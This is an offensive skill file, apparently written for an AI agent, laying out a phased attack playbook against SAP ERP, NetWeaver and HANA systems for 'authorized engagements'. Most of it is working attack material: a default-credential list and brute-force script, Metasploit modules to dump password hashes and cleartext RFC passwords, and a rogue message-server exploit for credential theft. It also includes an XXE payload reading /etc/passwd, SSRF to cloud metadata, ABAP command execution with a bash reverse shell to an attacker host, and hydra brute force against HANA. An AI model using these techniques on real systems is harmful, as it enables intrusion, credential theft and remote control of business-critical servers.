---
name: rt-sap-exploitation
description: "SAP system exploitation skill for authorized engagements. SAP service discovery and fingerprinting, default credential testing, SAP RFC enumeration with Metasploit modules, ICM web server exploitation, SAP GUI attacks, ABAP code injection, SAP Message Server vulnerability (CVE-2020-6207), SAP Router bypass, SAP HANA database attacks, and privilege escalation within SAP. Use when engagement scope includes SAP ERP, S/4HANA, or SAP NetWeaver systems."
---

# rt-sap-exploitation — SAP System Exploitation

## Overview

SAP is the backbone ERP system for many large enterprises — it holds financial data, HR records, supply chain information, and business-critical processes. Compromising SAP is often the most impactful finding in an enterprise engagement. SAP systems are frequently misconfigured, run outdated patches, and use default credentials.

---

## Phase 1 — Discovery & Fingerprinting

```bash
# SAP port landscape
# 3200-3299 = SAP GUI (DIAG protocol) — SID 00-99
# 3300-3399 = RFC
# 8000-8099 = ICM HTTP
# 4300-4399 = Message Server
# 3600 = SAP Router
# 50000+ = SAP HANA

nmap -sV -p 3200-3299,3300-3399,8000-8099,4300-4399,3600 TARGET_IP

# Identify SAP system ID (SID) and instance
# SID = 3-character identifier (e.g., PRD, DEV, QAS)
# Instance = 2-digit number (00-99)

# HTTP-based fingerprinting
curl http://SAP_IP:8000/
curl http://SAP_IP:8000/sap/bc/ping  # SAP alive check
curl http://SAP_IP:8000/sap/bc/gui/sap/its/webgui  # Web GUI

# ICM server info
curl http://SAP_IP:8000/sap/bc/soap/wsdl?services=BAPI_ACTIVITYTYPE_GETLIST
```

---

## Phase 2 — Default Credentials

```bash
# SAP default accounts (try ALL of these)
# Format: username / password

# System accounts (always exist)
SAP* / 06071992       # Master superuser
SAP* / PASS           # Alternative default
DDIC / 19920706       # Data Dictionary user (has all authorizations)
EARLYWATCH / SUPPORT  # Early Watch service account
TMSADM / $1Pawd2&    # Transport Management

# Application-specific
SOLMAN_ADMIN / SOLMAN
SAPSYS / MANAGER
BASIS / BASIS

# Try via SAP GUI (port 3200)
# Or via RFC:
python3 << 'EOF'
import pyrfc  # pip install pyrfc

connections_to_try = [
    {"user": "SAP*",       "passwd": "06071992"},
    {"user": "SAP*",       "passwd": "PASS"},
    {"user": "DDIC",       "passwd": "19920706"},
    {"user": "EARLYWATCH", "passwd": "SUPPORT"},
]

for creds in connections_to_try:
    try:
        conn = pyrfc.Connection(
            ashost="SAP_IP", sysnr="00", client="000",
            **creds
        )
        print(f"SUCCESS: {creds['user']}/{creds['passwd']}")
        conn.close()
    except pyrfc.LogonError:
        print(f"FAILED: {creds['user']}")
EOF
```

---

## Phase 3 — SAP RFC Enumeration & Exploitation

```bash
# RFC = Remote Function Call — SAP's RPC mechanism
# Many RFCs callable without auth or with low-priv auth

# Metasploit SAP modules
msfconsole

# Enumerate RFC services
use auxiliary/scanner/sap/sap_rfc_dbcon  # Database connections
use auxiliary/scanner/sap/sap_rfc_eps_get_directory_listing  # Directory listing
use auxiliary/scanner/sap/sap_rfc_read_table  # Read any DB table!

# Read SAP database tables (often works with any valid user)
use auxiliary/admin/sap/sap_rfc_read_table
set RHOSTS SAP_IP
set SID PRD
set CLIENT 000
set USERNAME ANY_VALID_USER
set PASSWORD ANY_VALID_PASS
set TABLE USR02   # User table (contains hashed passwords)
run

# Output: all SAP user accounts + password hashes
# Crack hashes with hashcat -m 7700 (SAP CODVN B)

# Read sensitive tables
set TABLE RFCDES   # RFC destinations (contains cleartext passwords!)
set TABLE ICFSERVL # ICF services
set TABLE T000     # Clients/mandants

# ABAP OS command execution (if RFC_OS_COMMAND available)
use auxiliary/admin/sap/sap_rfc_os_command
set COMMAND "id"
run
# → OS-level command execution on SAP server
```

---

## Phase 4 — CVE-2020-6207 (SAP Message Server — Missing Auth)

```bash
# SAP Message Server on port 4300/4301 — no authentication by default
# Allows registering rogue application servers → intercept connections

# Check if vulnerable
curl http://SAP_IP:4300/msgserver/text/logon

# Exploit: register rogue app server
# metasploit
use auxiliary/admin/sap/sap_ms_rogue_dispatcher
set RHOSTS SAP_IP
set LHOST YOUR_IP
run
# → Can intercept SAP GUI connections → credential theft

# sapms_exploit.py
python3 sapms_exploit.py --host SAP_IP --port 4300 --sid PRD
```

---

## Phase 5 — SAP ICM Web Attacks

```bash
# ICM = Internet Communication Manager (SAP's web server)
# Exposed web services are often vulnerable

# Find exposed ICF services
curl "http://SAP_IP:8000/sap/bc/" -v
# Look for: /sap/bc/soap/, /sap/bc/rest/, /sap/bc/gui/

# XXE via SOAP
curl -X POST "http://SAP_IP:8000/sap/bc/soap/wsdl" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<SOAP-ENV:Envelope>
  <SOAP-ENV:Body>&xxe;</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'

# SSRF via SAP web services
curl "http://SAP_IP:8000/sap/bc/rest/testservice?url=http://169.254.169.254/"

# Verb tampering on restricted services
curl -X HEAD "http://SAP_IP:8000/sap/bc/admin/"
curl -X OPTIONS "http://SAP_IP:8000/sap/bc/admin/"
```

---

## Phase 6 — ABAP Code Injection

```bash
# ABAP = SAP's programming language
# If you have SE38/SE80 transaction access → execute ABAP code → OS commands

# Via SAP GUI (port 3200) with dev access:
# SE38 → Create new program → Run

# ABAP OS command execution:
DATA: lv_command TYPE string.
lv_command = 'id > /tmp/pwned.txt'.
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
  EXPORTING
    commandname = 'Z_CMD'
    additional_parameters = lv_command.
  
# Read file
CALL FUNCTION 'GUI_UPLOAD'
  EXPORTING filename = '/tmp/pwned.txt'
  TABLES data_tab = lt_data.

# Reverse shell via ABAP
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
  EXPORTING additional_parameters = 
    'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'.
```

---

## Phase 7 — SAP HANA Database Attacks

```bash
# SAP HANA = in-memory database (port 30013, 39013)
# Web IDE: port 8090
# SQL port: 39015

nmap -sV -p 30013,39013,39015,8090 HANA_IP

# Default HANA credentials
# SYSTEM / manager
# SYSTEM / HanaSystem1

# HANA web IDE (if exposed)
curl http://HANA_IP:8090/sap/hana/ide/

# SQL via Python
python3 << 'EOF'
from hdbcli import dbapi  # pip install hdbcli

conn = dbapi.connect(
    address="HANA_IP",
    port=39015,
    user="SYSTEM",
    password="manager"
)
cursor = conn.cursor()

# Dump all schemas
cursor.execute("SELECT SCHEMA_NAME FROM SCHEMAS")
for row in cursor: print(row)

# Dump SAP application users
cursor.execute("SELECT * FROM SAPHANADB.USR02")
for row in cursor: print(row)

# OS command via HANA procedure (if priv)
cursor.execute("CALL SYS.SYSTEM_REPLICATION_STATUS()")
# Or native stored procedures that allow file I/O
EOF

# HANA brute force
hydra -l SYSTEM -P rockyou.txt HANA_IP -s 39015 -f tcp
```

---

## Skill Levels

**BEGINNER:** SAP port scan + default credential testing via browser/GUI + read USR02 table

**INTERMEDIATE:** Metasploit RFC modules + CVE-2020-6207 Message Server + ICM web service attacks

**ADVANCED:** ABAP code execution + HANA database access + full credential extraction

**EXPERT:** SAP Router bypass + custom RFC exploitation + ABAP webshell deployment + SAP transport system backdoor

---

## References

- SAP security research: https://www.onapsis.com/research
- Metasploit SAP modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap
- CVE-2020-6207: https://www.cvedetails.com/cve/CVE-2020-6207/
- SAP Hacking Guide: https://conference.hitb.org/hitbsecconf2011ams/materials/D2T2%20-%20Mariano%20Nunez%20-%20SAP%20Hacking.pdf
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
